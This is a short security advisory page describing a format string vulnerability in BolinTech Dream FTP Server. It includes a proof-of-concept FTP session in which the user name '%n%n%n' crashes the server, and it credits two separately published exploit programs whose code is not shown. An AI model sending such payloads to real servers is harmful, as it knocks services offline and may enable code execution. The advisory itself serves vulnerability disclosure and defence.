BolinTech Dream FTP Server User Name Format String Vulnerability

The following proof of concept example has been provided:
C:>ftp 127.0.0.1
Connected to 127.0.0.1.
220- ****************************************
220-
220- Welcome to Dream FTP Server
220- Copyright 2002 - 2004
220- BolinTech Inc.
220-
220- ****************************************
220-
220
User (127.0.0.1:(none)): %n%n%n
Connection closed by remote host.

**Application Crashes**

The following exploit (dreamFTPNightmare.c), tested on Windows 2000, has been made available by "Berend-Jan Wever" <SkyLined@edup.tudelft.nl>.

The following exploit (dreamftp-DoS.c), has been made available by shaun2k2 <shaunige@yahoo.co.uk>.


 

Privacy Statement
Copyright 2010, SecurityFocus